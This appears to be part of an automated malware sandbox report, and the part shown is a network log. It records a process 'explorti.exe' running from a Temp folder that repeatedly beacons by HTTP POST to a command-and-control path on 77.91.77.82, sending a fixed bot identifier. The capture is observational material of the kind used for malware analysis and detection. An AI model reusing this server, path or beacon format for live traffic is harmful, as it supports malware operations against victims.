r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:17.416683912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	54813	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:17.523394108 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:18.212635040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:18.214538097 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:18.429619074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	54814	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:18.538923025 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:19.224152088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:19.224998951 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:19.440164089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	54815	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:19.554478884 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:20.241269112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:20.242347002 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:20.457694054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	54816	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:20.570489883 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:21.275321960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:21.276040077 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:21.492149115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	54817	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:21.601680994 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:22.322496891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:22.325159073 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:22.551425934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	54818	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:22.667759895 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:23.539830923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:23.540843964 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:23.766791105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	54819	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:23.882697105 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:24.618786097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:24.619601011 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:24.848818064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	54820	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:24.960880041 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:25.663980961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:25.664772034 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:25.899619102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	54821	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:26.007690907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:26.700937033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:26.701817989 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:26.917126894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	54822	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:27.038729906 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:27.751769066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:27.752573967 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:27.975944042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	54823	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:28.085863113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:28.787744045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:28.788600922 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:29.013032913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	54824	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:29.133841038 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:29.845529079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:29.846240044 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:30.081568956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	54825	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:30.195561886 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:31.859036922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
